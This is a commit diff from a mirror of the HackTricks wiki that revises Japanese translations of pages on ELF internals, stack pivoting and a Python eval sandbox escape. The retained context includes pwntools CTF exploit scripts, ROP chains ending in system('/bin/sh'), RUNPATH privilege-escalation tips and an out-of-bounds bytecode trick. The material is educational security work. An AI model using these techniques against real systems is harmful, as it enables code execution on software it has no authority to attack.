mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
77953b7f9c
commit
0dc65b94ce
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
@ -41,20 +41,20 @@ Segment Sections...
|
||||
|
||||
### PHDR - プログラムヘッダー
|
||||
|
||||
プログラムヘッダーのテーブルとメタデータ自体を含みます。
|
||||
プログラムヘッダーテーブルとメタデータ自体を含みます。
|
||||
|
||||
### INTERP
|
||||
|
||||
バイナリをメモリにロードするために使用するローダーのパスを示します。
|
||||
|
||||
> ヒント: 静的リンクまたは静的-PIEバイナリには`INTERP`エントリがありません。その場合、動的ローダーは関与せず、それに依存する技術(例: `ret2dlresolve`)は無効になります。
|
||||
> ヒント: 静的リンクまたは静的PIEバイナリには`INTERP`エントリがありません。その場合、動的ローダーは関与せず、それに依存する技術(例: `ret2dlresolve`)は無効になります。
|
||||
|
||||
### LOAD
|
||||
|
||||
これらのヘッダーは**バイナリをメモリにロードする方法**を示すために使用されます。\
|
||||
各**LOAD**ヘッダーは**メモリ**の領域(サイズ、権限、アライメント)を示し、そこにコピーするELF**バイナリのバイト**を示します。
|
||||
各**LOAD**ヘッダーは**メモリ**の領域(サイズ、権限、アライメント)を示し、ELF **バイナリのバイトをそこにコピーする**ことを示します。
|
||||
|
||||
例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りと書き込みの権限を持ち、オフセット0xfc48から0x528で埋められます(予約されたスペース全体は埋めません)。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
|
||||
例えば、2番目のものはサイズが0x1190で、0x1fc48に位置し、読み取りと書き込みの権限を持ち、オフセット0xfc48から0x528で満たされます(予約されたスペース全体は満たされません)。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
@ -64,7 +64,7 @@ Segment Sections...
|
||||
|
||||
これはバイナリに関するベンダーメタデータ情報を保存します。
|
||||
|
||||
- x86-64では、`readelf -n`は`.note.gnu.property`内の`GNU_PROPERTY_X86_FEATURE_1_*`フラグを表示します。`IBT`および/または`SHSTK`が表示される場合、バイナリはCET(間接分岐追跡および/またはシャドウスタック)でビルドされています。これはROP/JOPに影響を与え、間接分岐ターゲットは`ENDBR64`命令で始まる必要があり、リターンはシャドウスタックに対してチェックされます。詳細とバイパスノートについてはCETページを参照してください。
|
||||
- x86-64では、`readelf -n`は`.note.gnu.property`内の`GNU_PROPERTY_X86_FEATURE_1_*`フラグを表示します。`IBT`および/または`SHSTK`が表示される場合、バイナリはCET(間接分岐追跡および/またはシャドウスタック)でビルドされています。これはROP/JOPに影響を与え、間接分岐ターゲットは`ENDBR64`命令で始まり、リターンはシャドウスタックに対してチェックされます。詳細とバイパスノートについてはCETページを参照してください。
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -84,9 +84,9 @@ Segment Sections...
|
||||
|
||||
バイナリのRELRO(再配置読み取り専用)設定を示します。この保護は、プログラムがロードされた後、実行を開始する前に、メモリの特定のセクション(`GOT`や`init`および`fini`テーブルなど)を読み取り専用としてマークします。
|
||||
|
||||
前の例では、0x3b8バイトを0x1fc48に読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えます。
|
||||
前の例では、0x3b8バイトを0x1fc48に読み取り専用としてコピーし、セクション`.init_array .fini_array .dynamic .got .data .bss`に影響を与えています。
|
||||
|
||||
RELROは部分的または完全である可能性があり、部分的なバージョンは**`.plt.got`**セクションを保護せず、これは**レイジーバインディング**に使用され、ライブラリのアドレスを最初に検索する際に**書き込み権限**を持つこのメモリスペースが必要です。
|
||||
RELROは部分的または完全であることに注意してください。部分的バージョンは、**遅延バインディング**に使用され、ライブラリの最初の位置が検索されるときにアドレスを書き込むために**書き込み権限**を持つ必要があるセクション**`.plt.got`**を保護しません。
|
||||
|
||||
> エクスプロイト技術と最新のバイパスノートについては、専用ページを確認してください:
|
||||
|
||||
@ -96,7 +96,7 @@ RELROは部分的または完全である可能性があり、部分的なバー
|
||||
|
||||
### TLS
|
||||
|
||||
スレッドローカル変数に関する情報を保存するTLSエントリのテーブルを定義します。
|
||||
スレッドローカル変数に関する情報を格納するTLSエントリのテーブルを定義します。
|
||||
|
||||
## セクションヘッダー
|
||||
|
||||
@ -161,11 +161,11 @@ CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
それは、位置、オフセット、権限だけでなく、そのセクションが持つ**データの種類**も示しています。
|
||||
それは、位置、オフセット、権限だけでなく、セクションが持つ**データの種類**も示しています。
|
||||
|
||||
### メタセクション
|
||||
|
||||
- **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいます(ただし、プログラムで実際に使用されるものは含まれていません)。例えば、`.text`や`.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには数字**45**が使用されます。
|
||||
- **文字列テーブル**: ELFファイルに必要なすべての文字列を含んでいます(ただし、プログラムで実際に使用されるものは含まれていません)。例えば、`.text`や`.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには**45**という番号が使用されます。
|
||||
- 文字列テーブルの場所を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。
|
||||
- **シンボルテーブル**: 名前(文字列テーブルのオフセット)、アドレス、サイズ、シンボルに関するその他のメタデータなど、シンボルに関する情報を含んでいます。
|
||||
|
||||
@ -176,11 +176,11 @@ CONTENTS, READONLY
|
||||
- **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
|
||||
- **`.rodata`**: 定数グローバル変数(読み取り専用セクション)。
|
||||
- **`.tdata`**および**`.tbss`**: スレッドローカル変数が使用されるときの.dataおよび.bssのようなもの(C++の`__thread_local`またはCの`__thread`)。
|
||||
- **`.dynamic`**: 以下を参照してください。
|
||||
- **`.dynamic`**: 下記を参照。
|
||||
|
||||
## シンボル
|
||||
|
||||
シンボルは、プログラム内の名前付きの場所で、関数、グローバルデータオブジェクト、スレッドローカル変数などである可能性があります。
|
||||
シンボルは、プログラム内の名前付きの位置で、関数、グローバルデータオブジェクト、スレッドローカル変数などである可能性があります。
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
@ -206,15 +206,15 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
- **名前**
|
||||
- **バインディング属性**(weak, local または global):ローカルシンボルはプログラム自身によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。weakオブジェクトは、例えば異なるもので上書き可能な関数です。
|
||||
- **タイプ**:NOTYPE(タイプ指定なし)、OBJECT(グローバルデータ変数)、FUNC(関数)、SECTION(セクション)、FILE(デバッガ用のソースコードファイル)、TLS(スレッドローカル変数)、GNU_IFUNC(再配置用の間接関数)
|
||||
- **セクション** インデックス(その位置)
|
||||
- **セクション** インデックス(位置)
|
||||
- **値**(メモリ内のアドレス)
|
||||
- **サイズ**
|
||||
|
||||
#### GNUシンボルバージョニング(dynsym/dynstr/gnu.version)
|
||||
#### GNUシンボルバージョニング (dynsym/dynstr/gnu.version)
|
||||
|
||||
現代のglibcはシンボルバージョンを使用します。`.gnu.version`や`.gnu.version_r`にエントリが表示され、シンボル名は`strlen@GLIBC_2.17`のようになります。動的リンカーはシンボルを解決する際に特定のバージョンを要求することがあります。手動で再配置を作成する際(例:ret2dlresolve)には、正しいバージョンインデックスを提供しなければならず、そうでないと解決に失敗します。
|
||||
現代のglibcはシンボルバージョンを使用します。`.gnu.version` と `.gnu.version_r` にエントリが表示され、`strlen@GLIBC_2.17` のようなシンボル名が見られます。動的リンカーはシンボルを解決する際に特定のバージョンを要求することがあります。手動で再配置を作成する際(例:ret2dlresolve)には、正しいバージョンインデックスを提供する必要があります。さもなければ、解決は失敗します。
|
||||
|
||||
## 動的セクション
|
||||
## ダイナミックセクション
|
||||
```
|
||||
readelf -d lnstat
|
||||
|
||||
@ -249,7 +249,7 @@ Tag Type Name/Value
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
NEEDEDディレクトリは、プログラムが**言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作可能で使用準備が整った**ときに完了します。
|
||||
The NEEDEDディレクトリは、プログラムが**言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作可能で使用準備が整った**ときに完了します。
|
||||
|
||||
### ダイナミックローダーの検索順序 (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
@ -261,9 +261,9 @@ NEEDEDディレクトリは、プログラムが**言及されたライブラリ
|
||||
- `ld.so.cache`
|
||||
- `/lib64`、`/usr/lib64`などのデフォルトディレクトリ
|
||||
|
||||
`$ORIGIN`は、RPATH/RUNPATH内でメインオブジェクトのディレクトリを参照するために使用できます。攻撃者の視点からは、ファイルシステムのレイアウトや環境を制御する場合に重要です。ハードニングされたバイナリ(AT_SECURE)では、ほとんどの環境変数はローダーによって無視されます。
|
||||
`$ORIGIN`は、RPATH/RUNPATH内でメインオブジェクトのディレクトリを参照するために使用できます。攻撃者の視点から、これはファイルシステムのレイアウトや環境を制御する場合に重要です。ハードニングされたバイナリ(AT_SECURE)では、ほとんどの環境変数はローダーによって無視されます。
|
||||
|
||||
- 確認方法:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- 検査コマンド:`readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- クイックテスト:`LD_DEBUG=libs ./bin 2>&1 | grep -i find`(検索パスの決定を表示)
|
||||
|
||||
> Priv-escのヒント:あなたが所有する書き込み可能なRUNPATHや誤設定された`$ORIGIN`相対パスを悪用することを好むべきです。LD_PRELOAD/LD_AUDITはセキュア実行(setuid)コンテキストでは無視されます。
|
||||
@ -350,7 +350,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
### 動的再配置とGOT
|
||||
|
||||
再配置は外部シンボル(依存関係からの関数など)を参照することもあります。例えば、libCからのmalloc関数です。この場合、ローダーはlibCをアドレスにロードする際に、malloc関数がロードされている場所を確認し、そのアドレスをGOT(グローバルオフセットテーブル)に書き込みます(再配置テーブルで示されている)mallocのアドレスが指定されるべき場所です。
|
||||
再配置は外部シンボル(依存関係からの関数など)を参照することもあります。例えば、libCからのmalloc関数です。この場合、ローダーはlibCをアドレスにロードする際に、malloc関数がロードされている場所を確認し、そのアドレスをGOT(グローバルオフセットテーブル)に書き込みます(再配置テーブルで示される)mallocのアドレスが指定されるべき場所です。
|
||||
|
||||
### プロシージャリンクテーブル
|
||||
|
||||
@ -360,7 +360,7 @@ PLTセクションは遅延バインディングを実行することを可能
|
||||
|
||||
#### 攻撃に影響を与える現代のリンク動作
|
||||
|
||||
- `-z now`(フルRELRO)は遅延バインディングを無効にします。PLTエントリは存在しますが、GOT/PLTは読み取り専用にマッピングされるため、**GOT上書き**や**ret2dlresolve**のような技術はメインバイナリに対しては機能しません(ライブラリは部分的にRELROである可能性があります)。参照:
|
||||
- `-z now`(フルRELRO)は遅延バインディングを無効にします。PLTエントリは存在しますが、GOT/PLTは読み取り専用にマッピングされるため、**GOT上書き**や**ret2dlresolve**のような技術はメインバイナリに対しては機能しません(ライブラリは部分的にRELROである可能性があります)。参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
@ -376,7 +376,7 @@ PLTセクションは遅延バインディングを実行することを可能
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
{{#endref}}
|
||||
|
||||
## プログラムの初期化
|
||||
## プログラム初期化
|
||||
|
||||
プログラムがロードされた後、実行する時間です。しかし、最初に実行されるコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないためです。
|
||||
```cpp
|
||||
@ -433,7 +433,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
## スレッドローカルストレージ (TLS)
|
||||
|
||||
これは C++ で **`__thread_local`** キーワードを使用して定義されるか、GNU 拡張の **`__thread`** を使用して定義されます。
|
||||
これは C++ で **`__thread_local`** キーワードを使用して定義されるか、GNU 拡張 **`__thread`** を使用して定義されます。
|
||||
|
||||
各スレッドはこの変数のユニークな場所を維持するため、スレッドのみがその変数にアクセスできます。
|
||||
|
||||
@ -468,6 +468,6 @@ printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
|
||||
|
||||
## References
|
||||
|
||||
- ld.so(8) – ダイナミックローダーの検索順序、RPATH/RUNPATH、セキュア実行ルール (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – 補助ベクタとAT_*定数: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -12,23 +12,23 @@ mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's possible to control it by controlling the stack.
|
||||
そして、保存された **EBP/RBP がスタック内で保存された EIP/RIP の前にあるため**、スタックを制御することでそれを制御することが可能です。
|
||||
|
||||
> Notes
|
||||
> - On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
|
||||
> - Some compilers omit the frame pointer (see “EBP might not be used”). In that case, `leave` might not appear and this technique won’t work.
|
||||
> 注意
|
||||
> - 64ビットでは、EBP→RBP および ESP→RSP に置き換えます。意味は同じです。
|
||||
> - 一部のコンパイラはフレームポインタを省略します(「EBP が使用されない可能性がある」を参照)。その場合、`leave` が表示されない可能性があり、この技術は機能しません。
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
この技術は、**保存された EBP/RBP を変更できるが、EIP/RIP を直接変更する方法がない**場合に特に有用です。関数のエピローグの動作を利用します。
|
||||
|
||||
`fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す**偽の EBP**をスタックに注入できれば(amd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮)、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成した位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者がそこに保存したアドレスを指すようになります**。その後、`ret` はそのアドレスを使用します。
|
||||
`fvuln` の実行中に、シェルコード/ROP チェーンのアドレスがあるメモリ領域を指す **偽の EBP** をスタックに注入することに成功すれば(amd64 では 8 バイト / x86 では 4 バイトの `pop` を考慮)、RIP を間接的に制御できます。関数が戻ると、`leave` が RSP を作成した位置に設定し、その後の `pop rbp` が RSP を減少させ、**攻撃者がそこに保存したアドレスを指すようにします**。その後、`ret` はそのアドレスを使用します。
|
||||
|
||||
**2 つのアドレスを知る必要があることに注意してください**: ESP/RSP が移動するアドレスと、`ret` が消費するそのアドレスに保存されている値です。
|
||||
**2 つのアドレスを知っておく必要があることに注意してください**: ESP/RSP が移動するアドレスと、そのアドレスに `ret` が消費する値です。
|
||||
|
||||
#### Exploit Construction
|
||||
#### エクスプロイト構築
|
||||
|
||||
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知る必要があります。RSP はここを指し、**最初の `ret` を消費します**。
|
||||
まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。RSP はここを指し、**最初の `ret` を消費します**。
|
||||
|
||||
次に、**実行を転送する**ために `ret` が使用するアドレスを選択する必要があります。次のようなものを使用できます:
|
||||
|
||||
@ -37,30 +37,30 @@ And as the saved **EBP/RBP is in the stack** before the saved EIP/RIP, it's poss
|
||||
- **`jmp esp;`** ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))その後にインラインシェルコード。
|
||||
- 書き込み可能なメモリにステージされた [**ROP**](../rop-return-oriented-programing/index.html) チェーン。
|
||||
|
||||
これらのアドレスの前には、**`leave` からの `pop ebp/rbp` のためのスペースが必要です**(amd64 では 8B、x86 では 4B)。これらのバイトを悪用して、**2 番目の偽 EBP**を設定し、最初の呼び出しが戻った後も制御を維持できます。
|
||||
これらのアドレスの前には、制御された領域に **`pop ebp/rbp`** のためのスペースが必要です(amd64 では 8B、x86 では 4B)。これらのバイトを悪用して **2 番目の偽 EBP** を設定し、最初の呼び出しが戻った後も制御を維持できます。
|
||||
|
||||
#### Off-By-One Exploit
|
||||
#### Off-By-One エクスプロイト
|
||||
|
||||
保存された EBP/RBP の最下位バイトのみを**変更できる**場合に使用されるバリアントがあります。この場合、**`ret`** でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00)は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。
|
||||
保存された EBP/RBP の最下位バイトのみを **変更できる** 場合に使用されるバリアントがあります。この場合、**`ret`** でジャンプするアドレスを格納するメモリ位置は、元の EBP/RBP と最初の 3 バイト/5 バイトを共有する必要があるため、1 バイトの上書きでリダイレクトできます。通常、低バイト(オフセット 0x00)は、近くのページ/整列された領域内でできるだけ遠くにジャンプするために増加します。
|
||||
|
||||
スタックに RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。
|
||||
スタック内に RET スレッドを使用し、実際の ROP チェーンを最後に配置して、新しい RSP がスレッド内を指し、最終的な ROP チェーンが実行される可能性を高めることも一般的です。
|
||||
|
||||
### EBP Chaining
|
||||
### EBP チェイニング
|
||||
|
||||
スタックの保存された `EBP` スロットに制御されたアドレスを配置し、`EIP/RIP` に `leave; ret` ガジェットを配置することで、**`ESP/RSP` を攻撃者が制御するアドレスに移動させる**ことが可能です。
|
||||
|
||||
これで `RSP` が制御され、次の命令は `ret` です。制御されたメモリに次のようなものを配置します:
|
||||
|
||||
- `&(next fake EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。
|
||||
- `&(次の偽 EBP)` -> `leave` から `pop ebp/rbp` によって読み込まれます。
|
||||
- `&system()` -> `ret` によって呼び出されます。
|
||||
- `&(leave;ret)` -> `system` が終了した後、RSP を次の偽 EBP に移動させ、続行します。
|
||||
- `&("/bin/sh")` -> `system` の引数。
|
||||
|
||||
このようにして、プログラムのフローを制御するために複数の偽 EBP を連鎖させることが可能です。
|
||||
このようにして、プログラムのフローを制御するために複数の偽 EBP をチェーンすることが可能です。
|
||||
|
||||
これは [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) のようなものですが、より複雑で、エッジケースでのみ有用です。
|
||||
|
||||
さらに、ここに [**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) があり、この技術を使用して**スタックリーク**を利用して勝利関数を呼び出します。これはページからの最終ペイロードです:
|
||||
さらに、ここに [**チャレンジの例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) があり、この技術を使用して **スタックリーク** で勝利関数を呼び出します。これはページからの最終ペイロードです:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,13 +124,13 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
On amd64では、`leave ; ret`の代わりにしばしば`pop rbp ; ret`が見られますが、フレームポインタが完全に省略されている場合、ピボットするための`rbp`ベースのエピローグは存在しません。
|
||||
amd64では、`leave ; ret`の代わりに`pop rbp ; ret`がよく見られますが、フレームポインタが完全に省略されている場合、ピボットするための`rbp`ベースのエピローグは存在しません。
|
||||
|
||||
## RSPを制御する他の方法
|
||||
|
||||
### `pop rsp`ガジェット
|
||||
|
||||
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。そのチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp`ガジェット**があり、**スタックからのleak**があります:
|
||||
[**このページ**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)では、この技術を使用した例を見つけることができます。そのチャレンジでは、2つの特定の引数を持つ関数を呼び出す必要があり、**`pop rsp`ガジェット**があり、**スタックからのリーク**があります:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -174,7 +174,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg <reg>, rsp gadget
|
||||
### xchg <reg>, rsp ガジェット
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
@ -214,7 +214,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
2) ピボットガジェット(`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`)に戻り、RSPをその領域に移動させます。
|
||||
3) ステージされたチェーンを続行します(例:libcをリークし、`mprotect`を呼び出し、次にシェルコードを`read`し、それにジャンプします)。
|
||||
|
||||
## スタックピボティングを破る現代の緩和策(CET/シャドウスタック)
|
||||
## スタックピボットを破る現代の緩和策(CET/シャドウスタック)
|
||||
|
||||
現代のx86 CPUとOSはますます**CETシャドウスタック(SHSTK)**を展開しています。SHSTKが有効な場合、`ret`は通常のスタック上の戻りアドレスとハードウェア保護されたシャドウスタックを比較します;不一致があると、制御保護フォルトが発生し、プロセスが終了します。したがって、EBP2Ret/leave;retベースのピボットのような技術は、ピボットされたスタックから最初の`ret`が実行されるとすぐにクラッシュします。
|
||||
|
||||
@ -240,7 +240,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
```
|
||||
- ラボ/CTFのノート:
|
||||
- 一部の最新のディストリビューションは、ハードウェアとglibcのサポートがある場合、CET対応バイナリに対してSHSTKを有効にします。VMでの制御されたテストのために、SHSTKはカーネルブートパラメータ`nousershstk`を介してシステム全体で無効にすることができ、起動時にglibcの調整を介して選択的に有効にすることができます(参照を参照)。本番ターゲットでの緩和策を無効にしないでください。
|
||||
- JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特に`ret`ベースのピボットを壊します。
|
||||
- JOP/COOPまたはSROPベースの技術は、一部のターゲットで依然として有効かもしれませんが、SHSTKは特に`ret`ベースのピボットを破壊します。
|
||||
|
||||
- Windowsの注意: Windows 10以降はユーザーモードを公開し、Windows 11はカーネルモードの「ハードウェア強制スタック保護」を追加します。CET互換プロセスは、`ret`でのスタックピボティング/ROPを防ぎます。開発者はCETCOMPATおよび関連ポリシーを介してオプトインします(参照を参照)。
|
||||
|
||||
@ -248,7 +248,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
|
||||
ARM64では、関数の**プロローグとエピローグ**は**スタックにSPレジスタを保存および取得しません**。さらに、**`RET`**命令はSPが指すアドレスに戻るのではなく、**`x30`**内のアドレスに戻ります。
|
||||
|
||||
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることで**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法が必要です**。
|
||||
したがって、デフォルトでは、エピローグを悪用するだけでは、スタック内のデータを上書きすることによって**SPレジスタを制御することはできません**。そして、たとえSPを制御できたとしても、**`x30`**レジスタを**制御する方法**がまだ必要です。
|
||||
|
||||
- プロローグ
|
||||
|
||||
@ -280,9 +280,9 @@ ret
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64ビット、リターンスレッドで始まるROPチェーンを使用したオフバイワンのエクスプロイト
|
||||
- 64ビット、リターンスレッドで始まるROPチェーンによるオフバイワンの悪用
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボットして呼び出されます。
|
||||
- 64ビット、relroなし、カナリア、nxおよびpie。プログラムはスタックまたはpieのリークとqwordのWWWを提供します。最初にスタックリークを取得し、WWWを使用して戻ってpieリークを取得します。次に、WWWを使用して`.fini_array`エントリを悪用し、`__libc_csu_fini`を呼び出して永続ループを作成します([詳細はこちら](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。この「永続的」な書き込みを悪用して、.bssにROPチェーンが書き込まれ、RBPでピボティングして呼び出されます。
|
||||
- Linuxカーネルドキュメント: 制御フロー強制技術(CET)シャドウスタック — SHSTK、`nousershstk`、`/proc/$PID/status`フラグ、および`arch_prctl`を介しての有効化の詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: カーネルモードハードウェア強制スタック保護(WindowsのCETシャドウスタック)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**この情報は** [**このレポートから**](https://blog.splitline.tw/hitcon-ctf-2022/)**取得されました。**
|
||||
**この情報は** [**この書き込みから**](https://blog.splitline.tw/hitcon-ctf-2022/)**取得されました。**
|
||||
|
||||
### TL;DR <a href="#tldr-2" id="tldr-2"></a>
|
||||
|
||||
@ -21,11 +21,11 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
```
|
||||
任意のPythonコードを入力できますが、それは[Pythonコードオブジェクト](https://docs.python.org/3/c-api/code.html)にコンパイルされます。しかし、そのコードオブジェクトの`co_consts`と`co_names`は、evalがそのコードオブジェクトを実行する前に空のタプルに置き換えられます。
|
||||
|
||||
このようにして、すべての式が定数(例:数値、文字列など)や名前(例:変数、関数)を含む場合、最終的にセグメンテーションフォルトを引き起こす可能性があります。
|
||||
このようにして、すべての式に含まれる定数(例:数値、文字列など)や名前(例:変数、関数)が最終的にセグメンテーションフォルトを引き起こす可能性があります。
|
||||
|
||||
### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>
|
||||
|
||||
セグフォルトはどのように発生しますか?
|
||||
セグフォルトはどのように発生するのでしょうか?
|
||||
|
||||
簡単な例から始めましょう。`[a, b, c]`は次のバイトコードにコンパイルされる可能性があります。
|
||||
```
|
||||
@ -49,19 +49,19 @@ PUSH(value);
|
||||
FAST_DISPATCH();
|
||||
}1234567
|
||||
```
|
||||
この方法で、OOB機能を使用して任意のメモリオフセットから「名前」を取得できます。どの名前があり、オフセットが何であるかを確認するには、`LOAD_NAME 0`、`LOAD_NAME 1` ... `LOAD_NAME 99` ... を試し続けてください。そして、オパラグが700を超える何かを見つけることができるかもしれません。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、それがより簡単になるとは思いませんか?
|
||||
この方法で、任意のメモリオフセットから「名前」を取得するためにOOB機能を使用できます。その名前が何で、オフセットが何であるかを確認するには、`LOAD_NAME 0`、`LOAD_NAME 1` ... `LOAD_NAME 99` ... を試し続けてください。そして、オパラグが700を超える何かを見つけることができるかもしれません。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、それがもっと簡単になるとは思いません。
|
||||
|
||||
### Exploitの生成 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
有用な名前/定数のオフセットを取得したら、どのようにそのオフセットから名前/定数を取得して使用するのでしょうか?ここにあなたへのトリックがあります:\
|
||||
オフセット5(`LOAD_NAME 5`)から`__getattribute__`の名前を取得できると仮定しましょう(`co_names=()`)。その場合、次のことを行ってください:
|
||||
オフセット5(`LOAD_NAME 5`)から`__getattribute__`の名前を取得できると仮定し、`co_names=()`の場合、次のことを行ってください:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
[].__getattribute__
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> `__getattribute__`と名付ける必要はなく、もっと短い名前や奇妙な名前を付けることができます。
|
||||
